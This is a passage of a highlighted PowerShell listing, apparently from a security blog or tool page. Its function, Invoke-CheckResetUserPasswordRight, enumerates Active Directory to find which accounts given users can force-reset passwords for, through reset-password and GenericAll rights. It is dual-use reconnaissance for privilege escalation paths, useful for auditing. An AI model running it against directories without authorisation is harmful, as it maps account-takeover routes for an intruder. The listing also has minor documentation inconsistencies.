<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Sort-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Unique</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">function</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Invoke-CheckResetUserPasswordRight</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    &lt;#</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">SYNOPSIS</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Retrieve the users that the specified users are able to reset the password.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">EXAMPLE</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Invoke-CheckResetUserPasswordRight -Server 10.10.10.10 -Users User1</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Invoke-CheckResetUserPasswordRight -Server 10.10.10.10 -Users User1 -Filter 'enabled -eq $true'</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Invoke-CheckResetUserPasswordRight -Server 10.10.10.10 -Users User1 -Filter "Name -like '*user*'"</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Invoke-CheckResetUserPasswordRight -Server 10.10.10.10 -Users User1,User2 -SearchBase "OU=Admins,DC=lab,DC=local"</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    PS&gt; Invoke-CheckResetUserPasswordRight -Server 10.10.10.10 -Users User1,User2,User3 -NoGroupCheck -OnlyResult</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Server</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Domain Controller where to run commands.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Users</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    List of users to check.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Filter</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Filter applied to the Get-AdUser function.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> Filter</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Apply a search base to the function Get-AdUser.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> OnlyResults</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Display only the samAccountName of users were specified users can reset the password.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-light-font-style:inherit;--shiki-dark:#D19A66;--shiki-dark-font-style:italic">    .</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic">PARAMETER</span><span style="--shiki-light:#D73A49;--shiki-light-font-style:inherit;--shiki-dark:#ABB2BF;--shiki-dark-font-style:italic"> OnlyResults</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    Search only direct right to reset password and do not include groups of the user.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    #&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">CmdletBinding</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">OutputType</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">hashtable</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">])]</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    param</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Users</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$False</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Filter</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic">mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">$False</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">ValidateNotNullOrEmpty</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">string</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$SearchBase</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ""</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">switch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$OnlyResults</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">switch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$NoGroupCheck</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    )</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    try</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ActiveDirectory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    catch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[!] Please install the ActiveDirectory module"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    return</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $ResultRestPasswordRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $objects</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    # Default values for ObjectType GUID - CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=lab,DC=local</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $RestPasswordRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "00299570-246d-11d0-a768-00aa006e0529"</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    #$ChangePasswordRight = "ab721a53-1e2f-11d0-9819-00aa0040529b"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $GenericAllRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "00000000-0000-0000-0000-000000000000"</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    # Mount the AD as drive in order to get ACL on its objects</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Mount AD drive"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    New-PSDrive</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Name AD </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PSProvider ActiveDirectory </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Root </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"//RootDSE/"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Out-Null</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    # Get user information</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $Users</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        Echo </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+] Get User informations for </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $userInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Identity </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Properties MemberOf</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$userInfo</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> $null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            return</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $userInfo</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $userGroups</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$userInfo</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).MemberOf</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$NoGroupCheck.IsPresent</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> $True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            break</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">        Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Get groups for </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$userGroups</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">                [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADAllUserGroupMembership</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">GroupName </span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF">$_</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$userGroups.count</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -ge</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">            Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> belongs to :"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">..</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects.Length</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)]) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">                Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "   - [</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.objectSid</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.samAccountName</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">         } </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">else</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">            Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "    [+] </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> does not belong to any group."</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">         }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $objects</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Sort-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Unique)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Get all users"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$SearchBase</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -ne</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ""</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $allUsers</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Filter </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Filter</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">SearchBase </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$SearchBase</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    } </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">else</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
